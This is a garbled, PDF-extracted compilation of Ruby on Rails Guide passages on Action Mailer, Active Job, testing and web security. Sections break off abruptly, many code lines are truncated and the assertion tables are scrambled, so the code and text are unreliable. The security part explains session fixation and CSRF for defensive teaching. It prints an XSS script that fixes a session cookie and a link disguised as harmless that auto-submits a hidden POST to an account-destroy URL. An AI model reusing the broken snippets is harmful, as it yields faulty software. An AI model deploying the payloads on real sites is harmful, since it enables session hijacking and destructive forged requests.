action: 'greeting') %>
Email clients have no web context and so paths have no base URL to form
complete web addresses. Thus, you should always use the "_url" variant of
named route helpers.
If you did not configure the :host option globally make sure to pass it to
the url helper.
<%= user_url(@user, host: 'example.com') %>
non-GET links require jQuery UJS and won't work in mailer templates.
They will result in normal GET requests.
2.8 Adding images in Action Mailer Views
Unlike controllers, the mailer instance doesn't have any context about the
incoming request so you'll need to provide the :asset_host parameter
yourself.
As the :asset_host usually is consistent across the application you can
configure it globally in config/application.rb:
config.action_mailer.asset_host = 'http://example.com'
3 Receiving Emails
Receiving and parsing emails with Action Mailer can be a rather complex
endeavor. Before your email reaches your Rails app, you would have had
to configure your system to somehow forward emails to your app, which
needs to be listening for that. So, to receive emails in your Rails app you'll
need to:
Implement a receive method in your mailer.
Configure your email server to forward emails from the address(es)
you would like your app to receive to /path/to/app/bin/rails
runner 'UserMailer.receive(STDIN.read)'.
Once a method called receive is defined in any mailer, Action Mailer will
parse the raw incoming email into an email object, decode it, instantiate a
new mailer, and pass the email object to the mailer receive instance
method. Here's an example:
class UserMailer < ApplicationMailer
def receive(email)
page = Page.find_by(address: email.to.first)
page.emails.create(
subject: email.subject,
body: email.body
)
if email.has_attachments?
email.attachments.each do |attachment|
page.attachments.create({
file: attachment,
description: email.subject
})
end
end
end
end
def set_delivery_options
# You have access to the mail instance,
# @business and @user instance variables here
if @business && @business.has_smtp_settings?
mail.delivery_method.settings.merge!(@business.smtp_sett
end
end
def prevent_delivery_to_guests
if @user && @user.guest?
mail.perform_deliveries = false
end
end
def set_business_headers
if @business
headers["X-SMTPAPI-CATEGORY"] = @business.code
end
end
end
Description
Generates information on the mailing run if
available. Can be set to nil for no logging.
Compatible with both Ruby's own Logger and
Log4r loggers.
Allows detailed configuration for :smtp delivery
method:
:address - Allows you to use a remote mail
smtp_settings
delivery_method
config.action_mailer.smtp_settings.
:sendmail, can be configured by using
config.action_mailer.sendmail_settings
:file: save emails to files; can be configured
by using
config.action_mailer.file_settings.
:test: save emails to
ActionMailer::Base.deliveries array.
perform_deliveries
deliveries
default_options
config.action_mailer.raise_delivery_errors = true
config.action_mailer.default_options = {from: 'no-reply@example.
Note: As of July 15, 2014, Google increased its security measures and now
blocks attempts from apps it deems less secure. You can change your
gmail settings here to allow the attempts or use another ESP to send email
by replacing 'smtp.gmail.com' above with the address of your provider.
7 Mailer Testing
You can find detailed instructions on how to test your mailers in the
testing guide.
8 Intercepting Emails
There are situations where you need to edit an email before it's delivered.
Fortunately Action Mailer provides hooks to intercept every email. You
can register an interceptor to make modifications to mail messages right
before they are handed to the delivery agents.
class SandboxEmailInterceptor
def self.delivering_email(message)
message.to = ['[email protected]']
end
end
Before the interceptor can do its job you need to register it with the Action
Mailer framework. You can do this in an initializer file
config/initializers/sandbox_email_interceptor.rb
if Rails.env.staging?
ActionMailer::Base.register_interceptor(SandboxEmailIntercepto
end
1 Introduction
Active Job is a framework for declaring jobs and making them run on a
variety of queuing backends. These jobs can be everything from regularly
scheduled clean-ups, to billing charges, to mailings. Anything that can be
chopped up into small units of work and run in parallel, really.
3 Creating a Job
This section will provide a step-by-step guide to creating a job and
enqueuing it.
3.1 Create the Job
Active Job provides a Rails generator to create jobs. The following will
create a job in app/jobs (with an attached test case under test/jobs):
$ bin/rails generate job guests_cleanup
invoke test_unit
create test/jobs/guests_cleanup_job_test.rb
create app/jobs/guests_cleanup_job.rb
You can also create a job that will run on a specific queue:
$ bin/rails generate job guests_cleanup --queue urgent
If you don't want to use a generator, you could create your own file inside
of app/jobs, just make sure that it inherits from ApplicationJob.
Here's what a job looks like:
class GuestsCleanupJob < ApplicationJob
queue_as :default
def perform(*guests)
# Do something later
end
end
Note that you can define perform with as many arguments as you want.
3.2 Enqueue the Job
That's it!
4 Job Execution
For enqueuing and executing jobs in production you need to set up a
queuing backend, that is to say you need to decide for a 3rd-party queuing
library that Rails should use. Rails itself only provides an in-process
queuing system, which only keeps the jobs in RAM. If the process crashes
or the machine is reset, then all outstanding jobs are lost with the default
async back-end. This may be fine for smaller apps or non-critical jobs, but
most production apps will need to pick a persistent backend.
4.1 Backends
Active Job has built-in adapters for multiple queuing backends (Sidekiq,
Resque, Delayed Job and others). To get an up-to-date list of the adapters
see the API Documentation for ActiveJob::QueueAdapters.
4.2 Setting the Backend
You can easily set your queuing backend:
# config/application.rb
module YourApp
class Application < Rails::Application
# Be sure to have the adapter's gem in your Gemfile
# and follow the adapter's specific installation
# and deployment instructions.
config.active_job.queue_adapter = :sidekiq
end
end
# Now your job will use `resque` as it's backend queue adapter o
# was configured in `config.active_job.queue_adapter`.
5 Queues
Most of the adapters support multiple queues. With Active Job you can
schedule the job to run on a specific queue:
class GuestsCleanupJob < ApplicationJob
queue_as :low_priority
#....
end
You can prefix the queue name for all your jobs using
config.active_job.queue_name_prefix in application.rb:
# config/application.rb
module YourApp
class Application < Rails::Application
config.active_job.queue_name_prefix = Rails.env
end
end
# app/jobs/guests_cleanup_job.rb
class GuestsCleanupJob < ApplicationJob
queue_as :low_priority
#....
end
The default queue name prefix delimiter is '_'. This can be changed by
setting config.active_job.queue_name_delimiter in application.rb:
# config/application.rb
module YourApp
class Application < Rails::Application
config.active_job.queue_name_prefix = Rails.env
config.active_job.queue_name_delimiter = '.'
end
end
# app/jobs/guests_cleanup_job.rb
class GuestsCleanupJob < ApplicationJob
queue_as :low_priority
#....
end
If you want more control on what queue a job will be run you can pass a
:queue option to #set:
MyJob.set(queue: :another_queue).perform_later(record)
To control the queue from the job level you can pass a block to #queue_as.
The block will be executed in the job context (so you can access
self.arguments) and you must return the queue name:
class ProcessVideoJob < ApplicationJob
queue_as do
video = self.arguments.first
if video.owner.premium?
:premium_videojobs
else
:videojobs
end
end
def perform(video)
# Do process video
end
end
ProcessVideoJob.perform_later(Video.last)
Make sure your queuing backend "listens" on your queue name. For some
backends you need to specify the queues to listen to.
6 Callbacks
Active Job provides hooks during the life cycle of a job. Callbacks allow
you to trigger logic during the life cycle of a job.
6.1 Available callbacks
before_enqueue
around_enqueue
after_enqueue
before_perform
around_perform
after_perform
6.2 Usage
class GuestsCleanupJob < ApplicationJob
queue_as :default
before_enqueue do |job|
# Do something with the job instance
end
around_perform do |job, block|
# Do something before perform
block.call
# Do something after perform
end
def perform
# Do something later
end
end
7 Action Mailer
One of the most common jobs in a modern web application is sending
emails outside of the request-response cycle, so the user doesn't have to
wait on it. Active Job is integrated with Action Mailer so you can easily
send emails asynchronously:
# If you want to send the email now use #deliver_now
UserMailer.welcome(@user).deliver_now
# If you want to send the email through Active Job use #deliver_
UserMailer.welcome(@user).deliver_later
8 Internationalization
Each job uses the I18n.locale set when the job was created. Useful if you
send emails asynchronously:
I18n.locale = :eo
9 GlobalID
Active Job supports GlobalID for parameters. This makes it possible to
pass live Active Record objects to your job instead of class/id pairs, which
you then have to manually deserialize. Before, jobs would look like this:
class TrashableCleanupJob < ApplicationJob
def perform(trashable_class, trashable_id, depth)
trashable = trashable_class.constantize.find(trashable_id)
trashable.cleanup(depth)
end
end
10 Exceptions
Active Job provides a way to catch exceptions raised during the execution
of the job:
class GuestsCleanupJob < ApplicationJob
queue_as :default
rescue_from(ActiveRecord::RecordNotFound) do |exception|
# Do something with the exception
end
def perform
# Do something later
end
end
10.1 Deserialization
GlobalID allows serializing full Active Record objects passed to #perform.
If a passed record is deleted after the job is enqueued but before the
#perform method is called Active Job will raise an
ActiveJob::DeserializationError exception.
11 Job Testing
You can find detailed instructions on how to test your jobs in the testing
guide.
2 Introduction to Testing
Testing support was woven into the Rails fabric from the beginning. It
wasn't an "oh! let's bolt on support for running tests because they're new
and cool" epiphany.
2.1 Rails Sets up for Testing from the Word Go
Rails creates a test directory for you as soon as you create a Rails project
using rails new application_name. If you list the contents of this
directory then you shall see:
$ ls -F test
controllers/ helpers/ mailers/ test_helper.rb
fixtures/ integration/ models/
The models directory is meant to hold tests for your models, the
controllers directory is meant to hold tests for your controllers and the
integration directory is meant to hold tests that involve any number of
controllers interacting. There is also a directory for testing your mailers
and one for testing view helpers.
Fixtures are a way of organizing test data; they reside in the fixtures
directory.
The test_helper.rb file holds the default configuration for your tests.
2.2 The Test Environment
By default, every Rails application has three environments: development,
test, and production.
Each environment's configuration can be modified similarly. In this case,
we can modify our test environment by changing the options found in
config/environments/test.rb.
A line by line examination of this file will help get you oriented to Rails
testing code and terminology.
require 'test_helper'
However only the test macro allows a more readable test name. You can
still use regular method definitions though.
The method name is generated by replacing spaces with underscores. The
result does not need to be a valid Ruby identifier though, the name may
contain punctuation characters etc. That's because in Ruby technically any
string may be a method name. This may require use of define_method and
send calls to function properly, but formally there's little restriction on the
name.
Next, let's look at our first assertion:
assert true
To see how a test failure is reported, you can add a failing test to the
article_test.rb test case.
test "should not save article without title" do
article = Article.new
assert_not article.save
end
Let us run this newly added test (where 6 is the number of line where the
test is defined).
$ bin/rails test test/models/article_test.rb:6
Run options: --seed 44656
# Running:
F
Failure:
ArticleTest#test_should_not_save_article_without_title [/path/to
Expected true to be nil or false
In the output, F denotes a failure. You can see the corresponding trace
shown under Failure along with the name of the failing test. The next few
lines contain the stack trace followed by a message that mentions the
actual value and the expected value by the assertion. The default assertion
messages provide just enough information to help pinpoint the error. To
make the assertion failure message more readable, every assertion provides
an optional message parameter, as shown here:
test "should not save article without title" do
article = Article.new
assert_not article.save, "Saved the article without a title"
end
Failure:
ArticleTest#test_should_not_save_article_without_title [/path/to
Saved the article without a title
Now to get this test to pass we can add a model level validation for the title
field.
class Article < ApplicationRecord
validates :title, presence: true
end
Now the test should pass. Let us verify by running the test again:
$ bin/rails test test/models/article_test.rb:6
Run options: --seed 31252
# Running:
.
Finished in 0.027476s, 36.3952 runs/s, 36.3952 assertions/s.
1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
Now, if you noticed, we first wrote a test which fails for a desired
functionality, then we wrote some code which adds the functionality and
finally we ensured that our test passes. This approach to software
development is referred to as Test-Driven Development (TDD).
2.3.2 What an error looks like
Now you can see even more output in the console from running the tests:
Error:
ArticleTest#test_should_report_error:
NameError: undefined local variable or method `some_undefined_va
test/models/article_test.rb:11:in `block in <class:ArticleTe
If we want this test to pass we can modify it to use assert_raises like so:
Purpose
Ensures that test is true.
assert_not_same(
Ensures that expected.equal?(actual) is
expected, actual, [msg]
false.
)
assert_includes(
collection, obj, [msg] Ensures that obj is in collection.
)
assert_not_includes(
collection, obj, [msg] Ensures that obj is not in collection.
)
assert_in_delta(
Ensures that the numbers expected and
expected, actual,
actual are within delta of each other.
[delta], [msg] )
assert_not_in_delta(
Ensures that the numbers expected and
expected, actual,
actual are not within delta of each other.
[delta], [msg] )
assert_throws( symbol,
[msg] ) { block }
assert_raises(
Ensures that the given block raises one of the
exception1, exception2,
given exceptions.
... ) { block }
assert_nothing_raised { Ensures that the given block doesn't raise any
block }
exceptions.
assert_instance_of(
Ensures that obj is an instance of class.
class, obj, [msg] )
assert_not_instance_of(
Ensures that obj is not an instance of class.
class, obj, [msg] )
assert_kind_of( class,
obj, [msg] )
assert_not_kind_of(
class, obj, [msg] )
assert_respond_to( obj,
Ensures that obj responds to symbol.
symbol, [msg] )
assert_not_respond_to(
Ensures that obj does not respond to symbol.
obj, symbol, [msg] )
assert_operator( obj1,
operator, [obj2], [msg] Ensures that obj1.operator(obj2) is true.
)
assert_not_operator(
obj1, operator, [obj2], Ensures that obj1.operator(obj2) is false.
[msg] )
assert_predicate ( obj, Ensures that obj.predicate is true, e.g.
predicate, [msg] )
assert_predicate str, :empty?
assert_not_predicate ( Ensures that obj.predicate is false, e.g.
obj, predicate, [msg] ) assert_not_predicate str, :empty?
assert_send( array,
[msg] )
flunk( [msg] )
Purpose
Test numeric difference between
assert_difference(expressions,
return value of an expression as a
difference = 1, message = nil)
result of what is evaluated in the
{...}
yielded block.
Asserts that the numeric result of
assert_no_difference(expressions, evaluating an expression is not
message = nil, &block)
changed before and after invokin
passed in block.
Asserts that the routing of the giv
path was handled correctly and th
the parsed options (given in the
assert_recognizes(expected_options,
expected_options hash) match pa
path, extras={}, message=nil)
Basically, it asserts that Rails
recognizes the route given by
expected_options.
Asserts that the provided options
be used to generate the provided
This is the inverse of
assert_recognizes. The extras
assert_generates(expected_path,
parameter is used to tell the reque
options, defaults={}, extras = {},
the names and values of additiona
message=nil)
request parameters that would be
query string. The message param
allows you to specify a custom er
message for assertion failures.
Asserts that the response comes w
a specific status code. You can
assert_response(type, message =
nil)
assert_redirected_to(control
"weblog") will also match the
ActionView::TestCase
ActionDispatch::IntegrationTest
ActiveJob::TestCase
This will run all test methods from the test case.
You can also run a particular test method from the test case by providing
the -n or --name flag and the test's method name.
$ bin/rails test test/models/article_test.rb -n test_the_truth
Run options: -n test_the_truth --seed 43583
# Running:
You can also run a test at a specific line by providing the line number.
You can also run an entire directory of tests by providing the path to the
directory.
The test runner provides lot of other features too like failing fast, deferring
test output at the end of test run and so on. Check the documentation of the
test runner as follows:
$ bin/rails test -h
minitest options:
-h, --help Display this help.
-s, --seed SEED Sets random seed. Also via
-v, --verbose Verbose. Show progress proc
-n, --name PATTERN Filter run on /regexp/ or s
--exclude PATTERN Exclude /regexp/ or string
Known extensions: rails, pride
Rails options:
-e, --environment ENV Run tests in the ENV enviro
-b, --backtrace Show the complete backtrace
-d, --defer-output Output test failures and er
-f, --fail-fast Abort test run on first fai
-c, --[no-]color Enable color in the output
Fixtures is a fancy word for sample data. Fixtures allow you to populate
your testing database with predefined data before your tests run. Fixtures
are database independent and written in YAML. There is one file per
model.
Fixtures are not designed to create every object that your tests need, and
are best managed when only used for default data that can be applied to the
common case.
You'll find fixtures under your test/fixtures directory. When you run
rails generate model to create a new model, Rails automatically creates
fixture stubs in this directory.
3.2.2 YAML
Each fixture is given a name followed by an indented list of colonseparated key/value pairs. Records are typically separated by a blank line.
You can place comments in a fixture file by using the # character in the
first column.
If you are working with associations, you can simply define a reference
node between two different fixtures. Here's an example with a
belongs_to/has_many association:
# In fixtures/categories.yml
about:
name: About
# In fixtures/articles.yml
first:
title: Welcome to Rails!
body: Hello world!
category: about
ERB allows you to embed Ruby code within templates. The YAML fixture
format is pre-processed with ERB when Rails loads fixtures. This allows
you to use Ruby to help you generate some sample data. For example, the
following code generates a thousand users:
<% 1000.times do |n| %>
user_<%= n %>:
To get multiple fixtures at once, you can pass in a list of fixture names. For
example:
4 Model Testing
Model tests are used to test the various models of your application.
Rails model tests are stored under the test/models directory. Rails
provides a generator to create a model test skeleton for you.
5 Integration Testing
Integration tests are used to test how various parts of your application
interact. They are generally used to test important workflows within our
application.
For creating Rails integration tests, we use the test/integration
directory for our application. Rails provides a generator to create an
integration test skeleton for us.
$ bin/rails generate integration_test user_flows
exists test/integration/
create test/integration/user_flows_test.rb
It should have created a test file placeholder for us. With the output of the
previous command we should see:
invoke test_unit
create test/integration/blog_flow_test.rb
Now let's open that file and write our first assertion:
require 'test_helper'
class BlogFlowTest < ActionDispatch::IntegrationTest
test "can see the welcome page" do
get "/"
assert_select "h1", "Welcome#index"
end
end
How about testing our ability to create a new article in our blog and see the
resulting article.
test "can create an article" do
get "/articles/new"
assert_response :success
post "/articles",
params: { article: { title: "can create", body: "article suc
assert_response :redirect
follow_redirect!
assert_response :success
assert_select "p", "Title:\n can create"
end
post "/articles",
params: { article: { title: "can create", body: "article succe
assert_response :redirect
follow_redirect!
The two lines following the request are to handle the redirect we setup
when creating a new article.
Don't forget to call follow_redirect! if you plan to make subsequent
requests after a redirect is made.
Finally we can assert that our response was successful and our new article
is readable on the page.
5.2.2 Taking it further
We were able to successfully test a very small workflow for visiting our
blog and creating a new article. If we wanted to take this further we could
add tests for commenting, removing articles, or editing comments.
Integration tests are a great place to experiment with all kinds of use-cases
for our applications.
This will generate the controller code and tests for an Article resource.
You can take a look at the file articles_controller_test.rb in the
test/controllers directory.
If you already have a controller and just want to generate the test scaffold
code for each of the seven default actions, you can use the following
command:
$ bin/rails generate test_unit:scaffold article
...
invoke test_unit
create test/controllers/articles_controller_test.rb
...
Let's take a look at one such test, test_should_get_index from the file
articles_controller_test.rb.
# articles_controller_test.rb
class ArticlesControllerTest < ActionDispatch::IntegrationTest
test "should get index" do
get articles_url
assert_response :success
end
end
as: for encoding the request with different content type. Supports
:json by default.
Now you can try running all the tests and they should pass.
6.2 Available Request Types for Functional Tests
If you're familiar with the HTTP protocol, you'll know that get is a type of
request. There are 6 request types supported in Rails functional tests:
get
post
patch
put
head
delete
All of request types have equivalent methods that you can use. In a typical
C.R.U.D. application you'll be using get, post, put and delete more
often.
Functional tests do not verify whether the specified request type is
accepted by the action, we're more concerned with the result. Request tests
exist for this use case to make your tests more purposeful.
6.3 Testing XHR (AJAX) requests
To test AJAX requests, you can specify the xhr: true option to get, post,
patch, put, and delete methods. For example:
test "ajax request" do
article = articles(:one)
get article_url(article), xhr: true
assert_equal 'hello world', @response.body
assert_equal "text/javascript", @response.content_type
end
As is the case with normal Hash objects, you can access the values by
referencing the keys by string. You can also reference them by symbol
name. For example:
flash["gordon"] flash[:gordon]
session["shmession"] session[:shmession]
cookies["are_good_for_u"] cookies[:are_good_for_u]
assert_redirected_to article_path(Article.last)
assert_equal 'Article was successfully created.', flash[:notic
end
1) Failure:
ArticlesControllerTest#test_should_create_article [/test/control
--- expected
+++ actual
@@ -1 +1 @@
-"Article was successfully created."
+nil
1 runs, 4 assertions, 1 failures, 0 errors, 0 skips
Let's implement the flash message now in our controller. Our :create
action should now look like this:
def create
@article = Article.new(article_params)
if @article.save
flash[:notice] = 'Article was successfully created.'
redirect_to @article
else
render 'new'
end
end
assert_redirected_to article_path(article)
# Reload association to fetch updated data and assert that tit
article.reload
assert_equal "updated", article.title
end
Notice we're starting to see some duplication in these three tests, they both
access the same Article fixture data. We can D.R.Y. this up by using the
setup and teardown methods provided by ActiveSupport::Callbacks.
Our test should now look something as what follows. Disregard the other
tests for now, we're leaving them out for brevity.
require 'test_helper'
class ArticlesControllerTest < ActionDispatch::IntegrationTest
# called before every single test
setup do
@article = articles(:one)
end
assert_redirected_to article_path(@article)
# Reload association to fetch updated data and assert that t
@article.reload
assert_equal "updated", @article.title
end
end
Similar to other callbacks in Rails, the setup and teardown methods can
also be used by passing a block, lambda, or method name as a symbol to
call.
6.9 Test helpers
To avoid code duplication, you can add your own test helpers. Sign in
helper can be a good example:
#test/test_helper.rb
module SignInHelper
def sign_in_as(user)
post sign_in_url(email: user.email, password: user.password)
end
end
class ActionDispatch::IntegrationTest
include SignInHelper
end
require 'test_helper'
class ProfileControllerTest < ActionDispatch::IntegrationTest
test "should show profile" do
# helper is now reusable from any controller test case
sign_in_as users(:david)
get profile_url
assert_response :success
end
end
7 Testing Routes
Like everything else in your Rails application, you can test your routes.
If your application has complex routes, Rails provides a number of useful
helpers to test them.
For more information on routing assertions available in Rails, see the API
documentation for ActionDispatch::Assertions::RoutingAssertions.
8 Testing Views
Testing the response to your request by asserting the presence of key
HTML elements and their content is a common way to test the views of
your application. Like route tests, view tests reside in test/controllers/
or are part of controller tests. The assert_select method allows you to
query HTML elements of the response by using a simple yet powerful
syntax.
There are two forms of assert_select:
assert_select(selector, [equality], [message]) ensures that the
that the equality condition is met on all the selected elements through the
selector starting from the element (instance of Nokogiri::XML::Node or
Nokogiri::XML::NodeSet) and its descendants.
For example, you could verify the contents on the title element in your
response with:
assert_select 'title', "Welcome to Rails Testing Guide"
You can also use nested assert_select blocks for deeper investigation.
In the following example, the inner assert_select for li.menu_item runs
within the collection of elements selected by the outer block:
assert_select 'ul.navigation' do
assert_select 'li.menu_item'
end
This assertion is quite powerful. For more advanced usage, refer to its
documentation.
8.1 Additional View-Based Assertions
There are more assertions that are primarily used in testing views:
Assertion
Purpose
Allows you to make assertions on the body of
assert_select_email
an e-mail.
Allows you to make assertions on encoded
HTML. It does this by un-encoding the contents
assert_select_encoded
of each element and then calling the block with
all the un-encoded elements.
Returns an array of all the elements selected by
css_select(selector) the selector. In the second variant it first
matches the base element and tries to match the
or
css_select(element, selector expression on any of its children. If
selector)
there are no matches both variants return an
empty array.
Here's an example of using assert_select_email:
assert_select_email do
assert_select 'small', 'Please click the "Unsubscribe" link if
end
9 Testing Helpers
A helper is just a simple module where you can define methods which are
available into your views.
In order to test helpers, all you need to do is check that the output of the
helper method matches what you'd expect. Tests related to the helpers are
located under the test/helpers directory.
Given we have the following helper:
module UserHelper
def link_to_user(user)
link_to "#{user.first_name} #{user.last_name}", user
end
end
There are two aspects of testing your mailer, the unit tests and the
functional tests. In the unit tests, you run the mailer in isolation with
tightly controlled inputs and compare the output to a known value (a
fixture.) In the functional tests you don't so much test the minute details
produced by the mailer; instead, we test that our controllers and models are
using the mailer in the right way. You test to prove that the right email was
sent at the right time.
10.2 Unit Testing
In order to test that your mailer is working as expected, you can use unit
tests to compare the actual results of the mailer with pre-written examples
of what should be produced.
10.2.1 Revenge of the Fixtures
For the purposes of unit testing a mailer, fixtures are used to provide an
example of how the output should look. Because these are example emails,
and not Active Record data like the other fixtures, they are kept in their
own subdirectory apart from the other fixtures. The name of the directory
within test/fixtures directly corresponds to the name of the mailer. So,
for a mailer named UserMailer, the fixtures should reside in
test/fixtures/user_mailer directory.
When you generated your mailer, the generator creates stub fixtures for
each of the mailers actions. If you didn't use the generator, you'll have to
create those files yourself.
10.2.2 The Basic Test Case
Here's a unit test to test a mailer named UserMailer whose action invite
is used to send an invitation to a friend. It is an adapted version of the base
test created by the generator for an invite action.
require 'test_helper'
In the test we send the email and store the returned object in the email
variable. We then ensure that it was sent (the first assert), then, in the
second batch of assertions, we ensure that the email does indeed contain
what we expect. The helper read_fixture is used to read in the content
from this file.
Here's the content of the invite fixture:
Hi [email protected],
You have been invited.
Cheers!
This is the right time to understand a little more about writing tests for
your mailers. The line ActionMailer::Base.delivery_method = :test
in config/environments/test.rb sets the delivery method to test mode
so that email will not actually be delivered (useful to avoid spamming your
users while testing) but instead it will be appended to an array
(ActionMailer::Base.deliveries).
The ActionMailer::Base.deliveries array is only reset automatically in
ActionMailer::TestCase and ActionDispatch::IntegrationTest tests.
If you want to have a clean slate outside these test cases, you can reset it
manually with: ActionMailer::Base.deliveries.clear
10.3 Functional Testing
Functional testing for mailers involves more than just checking that the
email body, recipients and so forth are correct. In functional mail tests you
call the mail deliver methods and check that the appropriate emails have
been appended to the delivery list. It is fairly safe to assume that the
deliver methods themselves do their job. You are probably more interested
in whether your own business logic is sending emails when you expect
them to go out. For example, you can check that the invite friend operation
is sending an email appropriately:
require 'test_helper'
11 Testing Jobs
Since your custom jobs can be queued at different levels inside your
application, you'll need to test both, the jobs themselves (their behavior
when they get enqueued) and that other entities correctly enqueue them.
11.1 A Basic Test Case
By default, when you generate a job, an associated test will be generated
as well under the test/jobs directory. Here's an example test with a
billing job:
require 'test_helper'
class BillingJobTest < ActiveJob::TestCase
test 'that account is charged' do
BillingJob.perform_now(account, product)
assert account.reload.charged_for?(product)
end
end
This test is pretty simple and only asserts that the job get the work done as
expected.
By default, ActiveJob::TestCase will set the queue adapter to :async so
that your jobs are performed in an async fashion. It will also ensure that all
previously performed and enqueued jobs are cleared before any test run so
you can safely assume that no jobs have already been executed in the
scope of each test.
11.2 Custom Assertions And Testing Jobs Inside Other Components
Active Job ships with a bunch of custom assertions that can be used to
lessen the verbosity of tests. For a full list of available assertions, see the
API documentation for ActiveJob::TestHelper.
It's a good practice to ensure that your jobs correctly get enqueued or
performed wherever you invoke them (e.g. inside your controllers). This is
precisely where the custom assertions provided by Active Job are pretty
useful. For instance, within a model:
require 'test_helper'
class ProductTest < ActiveJob::TestCase
test 'billing job scheduling' do
assert_enqueued_with(job: BillingJob) do
product.charge(account)
end
end
end
# Lets say that a user is eligible for gifting a month after the
user = User.create(name: 'Gaurish', activation_date: Date.new(20
assert_not user.applicable_for_gifting?
travel_to Date.new(2004, 11, 24) do
assert_equal Date.new(2004, 10, 24), user.activation_date # in
assert user.applicable_for_gifting?
end
assert_equal Date.new(2004, 10, 24), user.activation_date # The
1 Introduction
Web application frameworks are made to help developers build web
applications. Some of them also help you with securing the web
application. In fact one framework is not more secure than another: If you
use it correctly, you will be able to build secure apps with many
frameworks. Ruby on Rails has some clever helper methods, for example
against SQL injection, so that this is hardly a problem.
In general there is no such thing as plug-n-play security. Security depends
on the people using the framework, and sometimes on the development
method. And it depends on all layers of a web application environment:
The back-end storage, the web server and the web application itself (and
possibly other layers or applications).
The Gartner Group, however, estimates that 75% of attacks are at the web
application layer, and found out "that out of 300 audited sites, 97% are
vulnerable to attack". This is because web applications are relatively easy
to attack, as they are simple to understand and manipulate, even by the lay
person.
The threats against web applications include user account hijacking,
bypass of access control, reading or modifying sensitive data, or presenting
fraudulent content. Or an attacker might be able to install a Trojan horse
program or unsolicited e-mail sending software, aim at financial
enrichment or cause brand name damage by modifying company
resources. In order to prevent attacks, minimize their impact and remove
points of attack, first of all, you have to fully understand the attack
methods in order to find the correct countermeasures. That is what this
guide aims at.
In order to develop secure web applications you have to keep up to date on
all layers and know your enemies. To keep up to date subscribe to security
mailing lists, read security blogs and make updating and security checks a
2 Sessions
A good place to start looking at security is with sessions, which can be
vulnerable to particular attacks.
2.1 What are Sessions?
HTTP is a stateless protocol. Sessions make it stateful.
Most applications need to keep track of certain state of a particular user.
This could be the contents of a shopping basket or the user id of the
currently logged in user. Without the idea of sessions, the user would have
to identify, and probably authenticate, on every request. Rails will create a
new session automatically if a new user accesses the application. It will
load an existing session if the user has already used the application.
A session usually consists of a hash of values and a session id, usually a
32-character string, to identify the hash. Every cookie sent to the client's
browser includes the session id. And the other way round: the browser will
send it to the server on every request from the client. In Rails you can save
and retrieve values using the session method:
session[:user_id] = @current_user.id
User.find(session[:user_id])
2.2 Session id
The session id is a 32 byte long MD5 hash value.
A session id consists of the hash value of a random string. The random
string is the current time, a random number between 0 and 1, the process id
number of the Ruby interpreter (also basically a random number) and a
constant string. Currently it is not feasible to brute-force Rails' session ids.
Most people don't clear out the cookies after working at a public
terminal. So if the last user didn't log out of a web application, you
would be able to use it as this user. Provide the user with a log-out
button in the web application, and make it prominent.
test:
secret_key_base: 492f...
production:
secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
The best solution against it is not to store this kind of data in a session, but
in the database. In this case store the credit in the database and the
logged_in_user_id in the session.
2.7 Session Fixation
Apart from stealing a user's session id, the attacker may fix a session id
known to them. This is called session fixation.
This attack focuses on fixing a user's session id known to the attacker, and
forcing the user's browser into using this id. It is therefore not necessary
for the attacker to steal the session id afterwards. Here is how this attack
works:
The attacker creates a valid session id: They load the login page of
the web application where they want to fix the session, and take the
session id in the cookie from the response (see number 1 and 2 in the
image).
They maintain the session by accessing the web application
periodically in order to keep an expiring session alive.
The attacker forces the user's browser into using this session id (see
number 3 in the image). As you may not change a cookie of another
domain (because of the same origin policy), the attacker has to run a
JavaScript from the domain of the target web application. Injecting
the JavaScript code into the application by XSS accomplishes this
attack. Here is an example:
<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f
</script>. Read more about XSS and injection later on.
The attacker lures the victim to the infected page with the JavaScript
code. By viewing the page, the victim's browser will change the
session id to the trap session id.
As the new trap session is unused, the web application will require
the user to authenticate.
From now on, the victim and the attacker will co-use the web
application with the same session: The session became valid and the
victim didn't notice the attack.
2.8 Session Fixation - Countermeasures
One line of code will protect you from session fixation.
The most effective countermeasure is to issue a new session identifier and
declare the old one invalid after a successful login. That way, an attacker
cannot use the fixed session identifier. This is a good countermeasure
against session hijacking, as well. Here is how to create a new session in
Rails:
reset_session
If you use the popular Devise gem for user management, it will
automatically expire sessions on sign in and sign out for you. If you roll
your own, remember to expire the session after your sign in action (when
the session is created). This will remove values from the session, therefore
you will have to transfer them to the new session.
Another countermeasure is to save user-specific properties in the session,
verify them every time a request comes in, and deny access, if the
information does not match. Such properties could be the remote IP
address or the user agent (the web browser name), though the latter is less
user-specific. When saving the IP address, you have to bear in mind that
there are Internet service providers or large organizations that put their
users behind proxies. These might change over the course of a session, so
these users will not be able to use your application, or only in a limited
way.
2.9 Session Expiry
Sessions that never expire extend the time-frame for attacks such as crosssite request forgery (CSRF), session hijacking and session fixation.
One possibility is to set the expiry time-stamp of the cookie with the
session id. However the client can edit cookies that are stored in the web
browser so expiring sessions on the server is safer. Here is an example of
how to expire sessions in a database table. Call Session.sweep("20
minutes") to expire sessions that were used longer than 20 minutes ago.
end
end
In the session chapter you have learned that most Rails applications use
cookie-based sessions. Either they store the session id in the cookie and
have a server-side session hash, or the entire session hash is on the clientside. In either case the browser will automatically send along the cookie on
every request to a domain, if it can find a cookie for that domain. The
The HTTP protocol basically provides two main types of requests - GET
and POST (and more, but they are not supported by most browsers). The
World Wide Web Consortium (W3C) provides a checklist for choosing
HTTP GET or POST:
Use GET if:
The interaction is more like a question (i.e., it is a safe operation such
as a query, read operation, or lookup).
Use POST if:
The interaction is more like an order, or
The interaction changes the state of the resource in a way that the
user would perceive (e.g., a subscription to a service), or
The user is held accountable for the results of the interaction.
If your web application is RESTful, you might be used to additional HTTP
verbs, such as PATCH, PUT or DELETE. Most of today's web browsers,
however, do not support them - only GET and POST. Rails uses a hidden
_method field to handle this barrier.
POST requests can be sent automatically, too. In this example, the link
www.harmless.com is shown as the destination in the browser's status bar.
But it has actually dynamically created a new form that sends a POST
request.
<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>
Or the attacker places the code into the onmouseover event handler of an
image:
There are many other possibilities, like using a <script> tag to make a
cross-site request to a URL with a JSONP or JavaScript response. The
